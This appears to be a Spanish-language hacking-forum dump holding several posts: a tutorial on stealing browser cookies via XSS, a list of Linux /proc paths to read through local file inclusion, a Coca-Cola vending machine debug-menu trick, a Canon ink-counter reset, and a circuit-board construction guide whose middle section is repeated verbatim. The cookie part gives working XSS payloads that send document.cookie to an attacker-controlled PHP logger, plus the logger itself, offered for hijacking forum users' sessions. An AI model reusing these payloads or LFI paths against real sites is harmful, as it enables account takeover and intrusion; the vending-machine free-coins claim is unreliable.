Nota: algunas definiciones fueron extraidas de wikipedia (porque estaba mas entendible xDD) ;)

¿Que son?
Es un fragmento de informacion que se almacena en el disco duro del visitante de una pagina web atraves de su navegador, a petición del servidor de la pagina. Esta información puede
ser luego recuperada por el servidor en posteriores visitas.
Para ver las cookies activas en una pagina, en el campo de direccion escribimos:
javascript:alert(''cookies:''+document.cookie)

Cookies de terceros
Aunque las cookies se envian solo al servidor que las definio o a otro en el mismo dominio, una pagina web puede contener imagenes y otros componentes almacenados en servidores de otros dominios. Las cookies que se crean durante las peticiones de estos componentes se le llaman cookies de terceros.


Editar cookies:
Para poder editar las cookies tenemos un add-on para firefox llamado: AnEC cookie editor, lo malo es que solo es compatible con versiones 3.0.* osea que toco bajarse un firefox de esta version (yo me lo baje portable)

Firefox: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
add-on: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Con este add-on podemos modificar todo de una cookie y hasta crear nuevas... veamos..
vamos a herramientas>cookie editor y seleecionamos la cookie que queremos editar, click en edit y veremos algo asi: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Name = nombre de la cookie.
Content = contenido de la cookie.
Domain = dominio de donde se obtubo la cookie.
Path = path donde se usara la cookie dentro del dominio.
Expires = la fecha de expiración de la cookie.

todos estos campos podemos editarlos facilmente con este add-on, la fecha de expiración,etc...


Crear nuevas cookies
Bueno no es mas que darle click al boton ADD del add-on que instalamos y rellenar los campos anteriormente nombrados...

Reemplazar cookies
si conseguimos la cookie de por ejemplo un user de un foro xD simplemente reemplazamos el contenido del campo content por la cookie obtenida o creamos una nueva cookie especificando
el dominio y los demas campos y ya.. xD

¿como robar cookies?
bueno ... aprovechando un XSS... hace un tiempo Xianur0 descubrio un bug en smf donde se insertaba un codigo que robaba las cookies entre unas etiquetas BBCODE que no se filtraba.
si encontramos algo asi podemos usar el siguiente codigo (el mismo que el ejemplo anterior):

javascript:document.write('<FRAMESET><frame name="central" src="http://www.serveratack/CookieStealer.php?cookie<script>'+document.cookie+'</script>"></FRAMESET>')

o

<script>location.href='No tienes permitido ver los links. Registrarse o Entrar a mi cuenta</SCRIPT>

o

<script>window.location='No tienes permitido ver los links. Registrarse o Entrar a mi cuenta</script>

Lo que hacen estos codigos es enviar por metodo get las cookies del user que accedio al link o lo que sea donde lo allamos metido xDD y las cookies las tendremos en plano en
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ;)

Un ejemplo de CookieStealer.php es:
<?php
$cookie = $_GET['cookie'];
$handler = fopen('cookies.txt', 'a');
fwrite($handler, $cookie."\n");
?>

Bueno espero que les halla sido de utilidad el papper :)
y que ahora tengan aunque sea un concepto basico sobre las cookies ;)
#55
Hi, bueno se trata de ir un poco mas allá del /etc/passwd cuando encontramos un LFI, a continuación unos paths interezantes que podemos visitar xDDD


/proc/

En el directorio /proc/ podemos ver información sobre el kernel, el sistema, hardware,etc.
Paths:
/proc/version
/proc/interrupts
/proc/meminfo
/proc/mounts
/proc/modules
/proc/partitions
/proc/filesystems
/proc/kallsyms
/proc/cpuinfo
/proc/cmdline




/proc/self

El diretorio /proc/self es un enlace al proceso en ejecución.
Paths:
/proc/self/environ




/proc/sys/

El directorio /proc/sys proporciona informacion pero tambien (siendo administrador) se pueden activar o desactivar caracteristicas del kernel.
Paths:
/proc/sys/fs
/proc/sys/dev/
/proc/sys/kernel/
/proc/sys/kernel/acct
/proc/sys/kernel/cap-bound
/proc/sys/kernel/domainname
/proc/sys/kernel/exec-shield
/proc/sys/kernel/exec-shield-randomize
/proc/sys/kernel/hostname
/proc/sys/kernel/hotplug
/proc/sys/kernel/modprobe
/proc/sys/kernel/version
/proc/sys/kernel/sysrq
/proc/sys/net/core/
/proc/sys/net/ipv4/
/proc/sys/vm/
/proc/sysvipc



/proc/net/

El directorio /proc/net muestra información sobre la configuracion de red del sistema.
Paths:
/proc/net/arp
/proc/net/atm
/proc/net/dev
/proc/net/dev_mcast
/proc/net/igmp
/proc/net/ip_conntrack
/proc/net/ip_tables_names
/proc/net/ip_mr_cache
/proc/net/ip_mr_vif
/proc/net/netstat
/proc/net/psched
/proc/net/raw
/proc/net/route
/proc/net/rt_cache
/proc/net/snmp
/proc/net/sockstat
/proc/net/tcp
/proc/net/tr_rif
/proc/net/udp
/proc/net/unix
/proc/net/wireless



/proc/driver/

El directorio /proc/driver contiene información sobre los drivers que se estan utilizando.


Otros Paths interezantes:
/proc/bus/
/proc/bus/usb/
/proc/bus/usb/devices
/proc/fs/nfsd/exports
/proc/tty/
/proc/tty/driver/serial
/proc/scsi/
/proc/ide/piix
/proc/ide/


Espero que les sea de utilidad!

Saludos!
#56
Cursos, manuales y libros / Hackear Maquina de cocacola
Febrero 23, 2010, 12:03:59 PM
 

Algunos trucos para usar en maquinas de cocacola y otros refrescos




Seguramente muchos conozcais el truquito de las máquinas de Coca Cola (para hackearlas y entrar en el menú de debug) ya que los users de T! lo postean y postean sin parar, pero ninguno (según he visto yo) aportó prueba alguna a este rumor que corre por internet. Hasta hoy.

------Barra separadora para users sin photoshop------

Primero les dejaré el post original (como no se quien lo posteó primero no daré el nombre de quien lo copie)



Como Hakear una maquina de Coca-cola



en el documento esta especificado
tienes que introducir la siguiente conbinación:

4-3-2-1-1-2-3-1-1

Y luego darle al boton o a la palanca y te echara las monedas.

Otros codigos interesantes:

4231
1347
160
850


***********************************************

Las máqinas vendedoras de Coca-Cola están en todas partes (bueno casi). Estas máquinas, son las que muestran anuncios con LEDS del tipo 'Coca-Cola fría' o cosas así. Hay más máquinas con este tipo de sistema de las q imaginas, las q corren este tipo de sistema permiten accesar al 'debug menu' con el cual podrás modificar la configuración interna de la máquina, y obtener Cocas gratis en algunos modelos.
En qué máquinas funciona esto?
Hay una lista bastante estricta de las máquinas vendedoras que poseen el 'debug menu'.
Primero q todo como es lógico esta técnica funciona sólo en máquinas vendedoras de productos Coca-Cola, aquellas con la imagen de la Coca, Fanta, y otros productos.
Lá maquina deberá tener un menú con LEDS, algunas de las máquinas más viejitas sólo tienen el LED menú exclusivamente para mostrar el precio de los productos. Estaremos bien el LED menu te muestra algo más que el precio, puede ser un anuncio tipo marquesia (en movimiento) que diga Coca-Cola fría', o cualquier otra cosa. Las máquinas más nuevas son nuestras mayores candidatas para esta técnica.
Pasamos ahora a la parte divertida! Accesando al menú:
Para entrar al menú existe una combinación de teclas específicas. Aquí esta lo que realmente deberás recordar:
[4]-[2]-[3]-

Los números están numerados (valga la redundancia jeje) según como estén posicionados. Generalmente se encontrarán en filas verticales u horizontales, de 4 botones cada fila.
Si la fila es vertical el primer botón de arriba hacia abajo será el #1, el q está debajo de él será el #2, y así sucesivamente, con las filas horizontales sucede lo mismo el primer botón será el #1 y el inmediato a la derecha será el #2, el #5 sería el primero de la segunda fila, sencillo no?
Bien haciendo un repaso, la máquina se vería de la siguiente manera:

::::Coca-Cola::::
-----$5.00------
-------------
[ Coca ] &lt;-- Y al final éste #4
[ Coca de Dieta] &lt;-- En segundo lugar éste #2
[ Fanta ] &lt;-- En tercer lugar éste #3
[ Sprite ] &lt;-- Oprimimos primero este botón #1
[ Y los demás botones ]
-------------
Creo q quedó bastante claro no? Las bebidas de los botones pueden variar.
Al hacer ésto nos aparecerá en la pantalla LED 'Error' o probablemente otra, pero lo importante es que debe cambiar, si no pasa nada entonces esta máquina no tiene 'debug menu' y no es vulnerable

Navegación en el 'debug menu':
Para navegar de una opción a otra, recuerda la numeración que le dimos a los botones. Funcionan de la siguiente manera:
Botón - Salir/Atrás
Botón [2] - Arriba
Botón [3] - Abajo
Botón [4] - Seleccionar

Opciones:
Dependiendo de la antigüedad de la máquina, obtendremos diferentes cantidades de opciones que podremos usar de manera predeterminada.
En máquinas mas viejas: SALE, VER, EROR, and RTN
En máquinas más nuevas: CASH, SALE, EROR, and RTN

CASH:
La opción 'CASH' te mostrará cuánto dinero existe en ese momento dentro de la máquina. (ideal por si queremos bandalizarla y robarnos el dinero, sabremos si vale la pena hacerlo o no, jaja pero no lo intenten ok?). Desde aquí puedes navegar arriba o abajo dentro de 12 o 16 funciones diferentes, dependiendo de la antigüedad de la máquina. Estas opciones muestran, entre otras cosas, la cantidad de dinero ganada por cada producto en específico.

SALE - Cuenta total de lo vendido:
La opción 'SALE' te muestra cuantos refrescos (sodas, bebidas, gaseosas) se han vendido desde la máquina. Esto tiende a ser acumulativo, pero no en todas las máquinas. Supuestamente el encargado de la máquina debería resetar estos valores cada vez que la rellena pero no siempre sucede así jeje
Esta opción cuenta con las mismas subopciones que 'CASH' las 12 o 16 ya mencionadas.
VER - Sistema/Versión de la Máquina:
Con esta opción haremos que aparezca una larga cadena alfanumérica moviéndose en la pantalla LED, ésta cadena se parece mucho a un Número de Serie, pero no varía entre una máquina u otra, creo que es realmente la versión del Sistema Operativo o de la Máquina.

ERROR - Lista de Errores
No creo conveniente poner la lista de errores, ya que todos carecen de utilidad para nosotros, pero! si dejamos oprimida la 'tecla 4' por aproximadamente 2 segundos seremos capaces de borrar los errores.

RTN - Retorno:
Esta es una simple opción de retorno. Al seleccionar esta opción nos saldremos del 'debug menu'. En las máquinas más nuevas, para salir no bastará oprimir en el menú principal el botón 'BACK', tendremos que usar forzosamente 'RTN'.
Nota extra: También nos podemos salir del menú presionando el botón de devolución de moneda.

EXTRAS:
Dejando oprimido el botón de 'devolución de monedas' (en las máquinas más nuevas) nos mostrará la temperatura interna en grados Farenheit, "42F".

MÁS OPCIONES:
Hay muchas más opciones del menú que sólo son accesibles, si han sido habilitadas desde la computadora interna de la máquina, o de la computadora que se encuentras detrás de la puerta de la máquina (es posible que no tengas acceso a estas opciones, pero es posible que sí).

CPO - Modo de pago de monedas:
Puedes arrojar o sacar monedas del sistema de monedas de la máquina, y varias opciones de este menú te permitirá escoger quer tipo de monedas deseas que arrojen, de 1 peso, 2, 5, etc.

tVFL - Modo Llenado de Tubo:
Realmete esto es totalmente inútil para nosotros ya que esta opción te permite colocar dinero dentro de los tubos internos de la máquina, lo cual no podemos hacer ya que no podemos abrirla

TEST - Rutinas de Testeo:
Te permite testear varias de las siguientes rutinas:
'SE' Te permite testear los botones, te dará el número del botón una vez q lo presiones.
'SP' Jeje no estoy muy seguro de lo que hace pero es una función interna.
'CO' Testeo del motor. Activará los motores q se encuentran en las columnas laterales.
'Cn' Testeo de moneda. Metes una moneda y te dirá de q valor es la misma.
'nA' Lo mismo que Cn pero para billetes.
'dSP' Testeo del Display. Iluminará varios LEDs de la pantallita.
'vErS' Despliega el No. de Versión.

RELY - Testeo de confianza:
Esto testea la confiabilidad electrónica de varias partes internas. No hagas esto ya que podrás causar serios daños, si algunas partes no están adecuadamente conectadas antes de su uso.

PASS - Password:
Esto normalmente no será accesible para nosotros (ya que esta opción generalmente estará generalmente desactivada), pero nos permitirá cambiar el password para el menú, 4-2-3-2-1, excelente no?

PrIC - Configuración de Precio:
Esta opción es usada para cambiar el precio de alguna bebida. No estoy realmente seguro de como funciona pero parece ser bastante simple.

COn - Configuración de los permisos de la máquina:
Este es el menú de configuración de la máquina que decide cuales de las siguientes opciones están permitidas para usar desde el panel exterior de la máquina.
Esto probablemente sólo sea accesible con la puerta de la máquina abierta, y teniendo acceso físico a la computadora interna. No voy a entrar en detalles, pero listaré los botones de configuración existentes así como la función de cada uno de ellos:
C1, Activa el menú del precio, C2 Activa opciones especiales (de manufactura), C3 Desactiva en mensaje inicial de 'Cocas Frías', C4 Se activa automáticamente este menú cuando la puerta se abre, C5 Para saber si la puerta está abierta o cerrada, C6 Esta función esta reservada misteriosamente para "un uso futuro", C7 Determina si despues de haber introducido el dinero han transcurrido más de 5 minutos, C8 Obliga a vender una Coca, C9 Permite sacar varios productos sin la necesidad de introducir más dinero, C10 Uso desconocido.

TIME - Tiempo:
Te permite ajustar la hora local de la máquina.

LANG - Selección de Lenguaje:
No estoy seguro de cuántos lenguajes soporta realmente la máquina, pero aparentemente hay más que el Español y el Inglés.

Para finalizar:
A menos de que tengas acceso a las opciones que se encuentran detrás de la puerta de la máquina, no habrá mucho que podamos hacer, tal vez sólo impresionar a tus amigos jeje Sin embargo, si pudieramos configurar los C-Switches de la manera correcta, podríamos manipular estas máquinas como nosotros deseásemos, obtener cocas gratis, cambiarle el precio a las bebidas, etc! [/quote]

Vale, ahora que ya estamos todos listos comenzamos:

------Barra separadora para users sin photoshop------

(Experiencia personal)

El otro día estaba yo en el centro comercial, e iba con algo de prisa. La cosa es que bajando por las escaleras vi una máquina de Coca-Cola y como son más bien escasas decidí probar por un momento el truco que había leido aquí en T! (lo había probado solo en dos tipos de máquinas de refrescos, unas que encontré en la puerta de un restaurante -eran 3, iguales todas, en ninguna funcionó, al parecer solo va en algunos diseños/versiones, o eso, o no lo pulsé correctamente- y en estas)

No fui con mucha esperanza pero corrí a probar y pulsé el código [4-2-3-1]. Cual fue mi sorpresa al ver que en la pantallita LED apareció "CASH". Yo, entre la sorpresa y el stress (o como le digan en tu país) decidí regresar dentro de unos días con más tiempo para inspeccionar mejor el asunto, así que pulse la devolución de monedas para salir del menú y me fui. Días más tarde, regresé con un amigo que también sabía de este rumor, y puse el menú (que al parecer hay que tardar lo mismo en pulsar todos los botones, una putada). También saqué mi celu, en el que tenía guardados todos los comandos y para que servían. La máquina únicamente tenía las opciones "CASH", "SALE", "rtn" y "ERROR".

Por si os dio flogera leer el post original de más arriba, cash muestra el dinero de la máquina, sale las latas que vendió, rtn es para salir del debug menu y error (al contrario de lo que dicen algunas versiones del post) no muestra los tipos de errores que hay, muestra cuantas veces la máquina tuvo un error al funcionar.

Probé la navegación tal cual estaba en T! (1 salir, 2 subir, 3 bajar, 4 entrar) y fui inspeccionando un poco. Algunas veces se atascaba o parpadeaba la pantalla, pero se podía urgar sin problemas. Me desilusioné un poco al ver que las opciones que nos interesan (que solo se activan desde el motor interno de la máquina) estaban todas bloqueadas. Entonces recordé que en el piso de la planta baja había otra máquina, del mismo diseño, pero era otra, y tal vez en esa si funcionase. Bajé hacia allá y tras algunos intentos fallidos (el tema del tiempo entre botones) lo conseguí. La máquina estaba exactamente igual, con la misma configuración. Finalmente, tras urgar un poco y tal, mi amigo y yo nos compramos unas pepsis max de esas con extra de cafeína (tienen demasiada espuma, por cierto) y fuimos a una tienda de animales a ver a un conejo gigantesco que tenían y hamnsters rusos. Entonces le conté que cerca de una parada de bus que yo suelo transitar, había otra máquina, y fuimos para allá. Era del mismo diseño que las del centro comercial, y también tenía la misma configuración.

Conclusiones:

El truco es 100% REAL
La configuración de las máquinas depende de su diseño (como sean exteriormente)
La gente te mira raro al verte dandole a los botones sin meter dinero y consultando tu móvil 

------Barra separadora para users sin photoshop------

Y finalmente, lo que todos estabais esperando, LAS PRUEBAS DE QUE TODO ES CIERTO, 100% LIBRES DE PHOTOSHOP:

*Nota: Son fotos hechas con mi celu, y la pantalla LED en algunas brilla un poco, pero se ve de todas maneras:






#57
1) Desconecte la impresora de la toma de corriente de preferencia también el usb.

2) Mantenga pulsado el botón de encendido mientras se conecta la toma de corriente.
3) manteniendo aun pulsando el botón de encendido, pulse el botón reset dos veces. (Círculo rojo con un triángulo)

4) Suelte el botón de encendido

La impresora tarda unos 10 segundos para mostrar el número 0.

5) Pulse + para cambiar el valor de 0 a 1.
6) Cuando este valor es 1, pulse el botón de color, ahora se iluminará dos leds.
Plain paper
Photo paper

Uno de ellos es de papel normal y otra para papel fotográfico.
7) Pulse el botón de encendido un toque, el botón de color a continuación La Canon imprimirá algunas líneas despojadas y algunos números y letras (todos de color negro, si el cartucho de tinta a color está vacío).

Al imprimir esta hoja el valor en la pantalla vuelve a cero.
8) Abra la cubierta de la impresora cubierta (no cubrir el escáner) y retirar los cartuchos. Con la impresora sigue abierta, desconecte la toma de corriente.
9) Cierre la tapa, vuelva a conectar la impresora a la toma de alimentación y encienda la impresora.

10) Recargue de cartuchos
11) inserte de nuevo los cartuchos y conecte el cable usb a la pc ahora mande a imprimir algo y le pondrá que a sustituido los cartuchos!!!!!!!!!!!!!!!

Muy buen aporte de Antrax, me parecio útil y lo subi
#58
Técnicas para la construcción de Circuitos Impresos

Para la realización de un montaje práctico deberemos tener conocimiento acerca de algunos pasos a seguir y otros tantos detalles que nos ayudarán a evitar la rotura de los componentes a montar, con su correspondiente pérdida de dinero y tiempo.

Lo primero que debemos saber es el orden en que desarrollaremos nuestro trabajo, lo cual, una vez elegido el proyecto que vamos a realizar, deberemos estar seguros de no realizar acciones que sean contraproducentes con el normal desarrollo de nuestra tarea.

El circuito impreso:

Comenzaremos con la construcción del circuito impreso, esto lógicamente, luego de ya tener todos los elementos necesarios para la construcción del mismo.

El primer paso para la realización de un circuito es el diseño o dibujo sobre el papel de la interconexión, es decir, de la disposición geométrica que han de tener los conductores o pistas que unirán eléctricamente los diferentes componentes. Esta fase es de gran importancia y requiere dedicarle todo el tiempo necesario ya que cualquier error que se cometa se traducirá después en un problema que será difícil de eliminar sobre el circuito ya terminado.

El diseño se realiza asignando los espacios que ocuparán los componentes, teniendo en cuenta las dimensiones de los mismos. Una vez realizado esto procederemos a dibujar las pistas de interconexión, con la precaución lógica de que no pueden cruzarse. Si el circuito es monocara, los cruces de conductores deberán realizarse mediante puentes de hilo situados en la cara de montaje de componentes, en cambio si el circuito es doble cara, los cruces se realizarán mediante pistas en la misma cara que en el anterior caso.

Con el diseño ya realizado procederemos a obtener un negativo fotográfico a tamaño natural y en los circuitos momocara cubriremos por la cara del cobre con una emulsión fotosensible y se sitúa sobre ella el negativo con la imagen del diseño obtenido anteriormente, exponiendo luego el circuito a la luz, para lo cual se emplean lámparas especiales de alta luminosidad o directamente la luz solar. En esta fase se impresionarán únicamente las zonas expuestas a la luz, del negativo, es decir, las pistas conductoras.

A continuación se procederá al revelado, durante el cual se eliminarán las zonas donde la emulsión fotográfica no haya sido impresionada, quedando protegidas únicamente las vías conductoras.

Si no poseemos de un negativo fotográfico podremos realizar la tarea a mano dibujando las pistas con tinta indeleble directamente sobre la cara de cobre, esta acción no es la mejor ni la más recomendable dado que no se alcanza el nivel de terminado que se logra utilizando el negativo fotográfico, además deberemos tener cuidado de que la tinta seque bien antes de continuar con el siguiente paso.

Después de completar el proceso fotográfico (o manual) se somete al circuito a un  ataque químico con el fin de eliminar el cobre de las zonas no cubiertas, empleándose para ello una disolución de cloruro férrico en agua.

Esta tarea se realizará colocando el ácido en un recipiente plástico o de vidrio y calentándolo a Baño María hasta que alcance la temperatura de 45ºC, colocándose dentro la placa mediante la cual vamos a obtener nuestro circuito impreso.

Una vez obtenida la imagen deseada sobre el laminado, habiendo desaparecido las zonas de cobre no útiles, procedemos a eliminar la emulsión fotográfica de las pistas con un disolvente (si lo realizamos con tinta indeleble limpiaremos las pistas con un algodón embebido en alcohol), después se deja secar el circuito y se pasa a la fase de taladro de todos los puntos donde se insertarán los terminales de los componentes.

Montaje de los componentes:

Una vez que tenemos el circuito impreso ya construido, deberemos proceder al montaje de los componentes, para esto es necesario realizarles una preparación previa con el fin de facilitar su inserción en el circuito como así también su posterior soldadura.

Esta preparación previa se realiza con objeto de adaptar, lo mejor posible, la forma y dimensiones de cada componente al espacio físico que va a disponer sobre el circuito. A dicha tarea la denominaremos preformado de los componentes.

A partir del preformado nos podremos evitar riesgos de roturas de terminales, cortocircuitos accidentales, y cualquier otro problema que pueda surgir en un montaje cuando no  tenemos en cuenta estas precauciones.

Los componentes de dos terminales se pueden clasificar en: componentes con terminales axiales y componentes con terminales radiales. Los primeros presentan los terminales de salida situados sobre los extremos del cuerpo y alineados con éste, formando una línea imaginaria que pasaría por su centro geométrico, los segundos poseen sus terminales en forma perpendicular al cuerpo en los extremos de éste.

Los elementos del segundo grupo no necesitarán preformado si las perforaciones en el circuito impreso coinciden con la separación entre los terminales, caso contrario será necesario realizar un preformado. Los del primer grupo requieren que siempre se realice el preformado.

Para realizar esta acción es necesario conocer previamente a qué distancia deben doblarse los terminales para su inserción en el circuito impreso, ello requiere realizar la medida de la distancia entre las perforaciones para el montaje, pudiéndose realizar la misma con un calibre o con una regla graduada en milímetros. Los componentes con terminales axiales se montarán paralelos al circuito impreso y generalmente apoyados sobre él, al realizar el preformado deberá procurarse que la referencia o valor del componente que aparezca en el cuerpo quede visible para facilitar así una rápida identificación después de su inserción en el circuito.

El doblado de los terminales se puede realizar a mano o con algunas herramientas especiales para este trabajo.

Cuando se haga a mano se deberán tener presente un conjunto de precauciones para evitar la rotura del componente:

- El doblado se realizará con un alicate de puntas finas haciendo presión en el punto de doblado teniendo especial cuidado en no hacerle fuerza al elemento en sí, sino solamente sobre el terminal.

- No se ejercerá fuerza sobre la zona de unión del cuerpo con el terminal, ya que se podría desprender éste.

- No deberá quedar el doblado en un exagerado ángulo recto, sino que se tratará de dar una pequeña curvatura, evitándose así debilitar al alambre en ese punto.

- Se tratará de tener una cierta estética en el montaje realizando el preformado en forma simétrica con respecto al cuerpo.

- Se deberá dejar una pequeña porción de terminal entre el cuerpo y el punto de doblado.

Existe una herramienta especial para realizar esta tarea denominada conformador de componentes, en la que, una vez ajustada la distancia entre los dos puntos de doblado, se realiza toda la operación en solo paso evitándose de esta manera todos los riesgos mencionados con anterioridad.

Los componentes con terminales de salida radiales se pueden montar directamente y presentan generalmente sus terminales ya cortados a la longitud adecuada, sin embargo a veces es preciso realizar un conformado, cuando la distancia entre sus salidas no coincide con la separación entre los agujeros del circuito impreso. En este caso se procederá a medir la distancia entre agujeros y realizar en forma manual el doblado de los terminales a la distancia medida.

Es muy importante realizarles a los componentes un estañado previo con el fin de facilitar su posterior soldadura, y mas aún si las superficies a soldar se encuentran sucias o presentan algo de óxido. Para realizar el estañado previo se podrá utilizar el soldador, aplicando directamente con la punta del mismo una pequeña cantidad de estaño que será distribuido uniformemente sobre el terminal, se deberá evitar que la capa de estaño sea muy gruesa dado que esto dificultará la inserción del componente en el circuito impreso.

Componentes de mayor potencia:

Antes de proceder al montaje deberemos identificar aquellos elementos del circuito que sean capaces de producir durante el funcionamiento una cierta radiación de calor por estar sometido a condiciones de uso que les obliguen a disipar una determinada potencia.

Estos elementos pueden ser las resistencias cuya potencia sea mayor a 1/2 watt y también algunos transistores de media o alta potencia.

Con todos estos elementos se procurará mantener una separación mínima de
5 mm ya que en caso contrario se puede llegar a dañar al mismo.

Si se presentan resistencias de alta potencia con un cuerpo relativamente grande y con sus dos salidas ubicadas en el mismo extremo del cuerpo, se utilizarán unos soportes metálicos especiales que aseguren su fijación mecánica e impidan cualquier movimiento que pueda llegar a romper los terminales.

Montaje de los alambres y cables:

El alambre "desnudo" o "pelado" que se va a emplear para enlazar sobre el circuito impreso los puntos que lo requieran, se cortará con alicate a la medida necesaria, realizándoles un doblado en sus extremos de la misma forma que vimos para los terminales de los componentes, obteniendo así los puentes aptos para su montaje.

A los cables de conexión entre circuitos impresos o entre éstos con los componentes situados fuera del mismo, deberemos cortarlos a la longitud precisa, pelando luego sus extremos en una longitud de 4 o 5 mm con un alicate o tenaza de pelar.

Para pelar un cable se deben tener en cuenta las siguientes recomendaciones:

- El alicate deberá estar perfectamente ajustado al diámetro del conductor para que únicamente se corte la cubierta y evitemos dañar a éste en forma inadvertida.

- No deberá quedar dañado el conductor en ningún punto, para evitar riesgos posteriores de roturas.

- Se evitará dejar restos de la cubierta en la zona que hemos pelado, evitando así posteriores problemas con la soldadura.

Para el tratamiento de los cables coaxiles, una vez que se ha realizado el pelado de la cubierta externa, se separará la malla trenzada que forma el conductor exterior, agrupando todos los hilos de ésta en un punto y quedando al descubierto el conductor interno. Ahora se realizará un segundo pelado sobre la cubierta del conductor interno, procurando dejar una cierta longitud de cubierta que garantice el aislamiento del otro conductor.

En caso de tratarse de un cable paralelo de dos conductores, primero los separaremos una distancia apropiada para luego realizar las operaciones ya explicadas.

Montaje de los disipadores térmicos:

Estos se colocan generalmente a algunos componentes y fundamentalmente a semiconductores.

Este radiador se situará sobre el componente, antes del montaje de éste sobre el circuito impreso. Cuando sea posible se procurará que el conjunto componente-radiador quede sujeto mecánicamente al circuito a través del mismo tornillo, conformando los terminales de una forma adecuada y añadiendo un separador de la altura suficiente para conseguir un aislamiento de la placa, realizando esto en un material que no trasmita el calor.

Hay algunos modelos de transistores y tiristores de potencia cuyo montaje se realiza diréctamente sobre un radiador lo suficientemente grande para que sea capaz de evacuar el calor producido.

Para su instalación se emplea una lámina de mica que aísla el cuerpo del transistor del radiador, y unas arandelas y tubos aislantes con los que se consigue el mismo efecto, sobre los tornillos de fijación y los terminales de salida.

Normalmente el transistor y su disipador son montados separados del circuito impreso y se sitúan en una zona del equipo que disponga de ventilación, para así poder evacuar el calor generado.

A partir de estos breves conceptos tratados hasta aquí, estamos en condiciones de realizar cualquiera de los montajes prácticos explicados en su respectiva sección.

En ellos se incluyen, en caso de serlas necesarias, otras indicaciones que hay que tener en cuenta para el armado del circuito.

Montaje de los componentes

Una vez que tenemos el circuito impreso ya construido, deberemos proceder al montaje de los componentes, para esto es necesario realizarles una preparación previa con el fin de facilitar su inserción en el circuito como así también su posterior soldadura.

Esta preparación previa se realiza con objeto de adaptar, lo mejor posible, la forma y dimensiones de cada componente al espacio físico que va a disponer sobre el circuito. A dicha tarea la denominaremos preformado de los componentes.

A partir del preformado nos podremos evitar riesgos de roturas de terminales, cortocircuitos accidentales, y cualquier otro problema que pueda surgir en un montaje cuando no  tenemos en cuenta estas precauciones.

Los componentes de dos terminales se pueden clasificar en: componentes con terminales axiales y componentes con terminales radiales. Los primeros presentan los terminales de salida situados sobre los extremos del cuerpo y alineados con éste, formando una línea imaginaria que pasaría por su centro geométrico, los segundos poseen sus terminales en forma perpendicular al cuerpo en los extremos de éste.

Los elementos del segundo grupo no necesitarán preformado si las perforaciones en el circuito impreso coinciden con la separación entre los terminales, caso contrario será necesario realizar un preformado. Los del primer grupo requieren que siempre se realice el preformado.

Para realizar esta acción es necesario conocer previamente a qué distancia deben doblarse los terminales para su inserción en el circuito impreso, ello requiere realizar la medida de la distancia entre las perforaciones para el montaje, pudiéndose realizar la misma con un calibre o con una regla graduada en milímetros. Los componentes con terminales axiales se montarán paralelos al circuito impreso y generalmente apoyados sobre él, al realizar el preformado deberá procurarse que la referencia o valor del componente que aparezca en el cuerpo quede visible para facilitar así una rápida identificación después de su inserción en el circuito.

El doblado de los terminales se puede realizar a mano o con algunas herramientas especiales para este trabajo.

Cuando se haga a mano se deberán tener presente un conjunto de precauciones para evitar la rotura del componente:

- El doblado se realizará con un alicate de puntas finas haciendo presión en el punto de doblado teniendo especial cuidado en no hacerle fuerza al elemento en sí, sino solamente sobre el terminal.

- No se ejercerá fuerza sobre la zona de unión del cuerpo con el terminal, ya que se podría desprender éste.

- No deberá quedar el doblado en un exagerado ángulo recto, sino que se tratará de dar una pequeña curvatura, evitándose así debilitar al alambre en ese punto.

- Se tratará de tener una cierta estética en el montaje realizando el preformado en forma simétrica con respecto al cuerpo.

- Se deberá dejar una pequeña porción de terminal entre el cuerpo y el punto de doblado.

Existe una herramienta especial para realizar esta tarea denominada conformador de componentes, en la que, una vez ajustada la distancia entre los dos puntos de doblado, se realiza toda la operación en solo paso evitándose de esta manera todos los riesgos mencionados con anterioridad.

Los componentes con terminales de salida radiales se pueden montar directamente y presentan generalmente sus terminales ya cortados a la longitud adecuada, sin embargo a veces es preciso realizar un conformado, cuando la distancia entre sus salidas no coincide con la separación entre los agujeros del circuito impreso. En este caso se procederá a medir la distancia entre agujeros y realizar en forma manual el doblado de los terminales a la distancia medida.

Es muy importante realizarles a los componentes un estañado previo con el fin de facilitar su posterior soldadura, y mas aún si las superficies a soldar se encuentran sucias o presentan algo de óxido. Para realizar el estañado previo se podrá utilizar el soldador, aplicando directamente con la punta del mismo una pequeña cantidad de estaño que será distribuido uniformemente sobre el terminal, se deberá evitar que la capa de estaño sea muy gruesa dado que esto dificultará la inserción del componente en el circuito impreso.

Componentes de mayor potencia:

Antes de proceder al montaje deberemos identificar aquellos elementos del circuito que sean capaces de producir durante el funcionamiento una cierta radiación de calor por estar sometido a condiciones de uso que les obliguen a disipar una determinada potencia.

Estos elementos pueden ser las resistencias cuya potencia sea mayor a 1/2 watt y también algunos transistores de media o alta potencia.

Con todos estos elementos se procurará mantener una separación mínima de
5 mm ya que en caso contrario se puede llegar a dañar al mismo.

Si se presentan resistencias de alta potencia con un cuerpo relativamente grande y con sus dos salidas ubicadas en el mismo extremo del cuerpo, se utilizarán unos soportes metálicos especiales que aseguren su fijación mecánica e impidan cualquier movimiento que pueda llegar a romper los terminales.

Montaje de los alambres y cables:

El alambre "desnudo" o "pelado" que se va a emplear para enlazar sobre el circuito impreso los puntos que lo requieran, se cortará con alicate a la medida necesaria, realizándoles un doblado en sus extremos de la misma forma que vimos para los terminales de los componentes, obteniendo así los puentes aptos para su montaje.

A los cables de conexión entre circuitos impresos o entre éstos con los componentes situados fuera del mismo, deberemos cortarlos a la longitud precisa, pelando luego sus extremos en una longitud de 4 o 5 mm con un alicate o tenaza de pelar.

Para pelar un cable se deben tener en cuenta las siguientes recomendaciones:

- El alicate deberá estar perfectamente ajustado al diámetro del conductor para que únicamente se corte la cubierta y evitemos dañar a éste en forma inadvertida.

- No deberá quedar dañado el conductor en ningún punto, para evitar riesgos posteriores de roturas.

- Se evitará dejar restos de la cubierta en la zona que hemos pelado, evitando así posteriores problemas con la soldadura.

Para el tratamiento de los cables coaxiles, una vez que se ha realizado el pelado de la cubierta externa, se separará la malla trenzada que forma el conductor exterior, agrupando todos los hilos de ésta en un punto y quedando al descubierto el conductor interno. Ahora se realizará un segundo pelado sobre la cubierta del conductor interno, procurando dejar una cierta longitud de cubierta que garantice el aislamiento del otro conductor.

En caso de tratarse de un cable paralelo de dos conductores, primero los separaremos una distancia apropiada para luego realizar las operaciones ya explicadas.

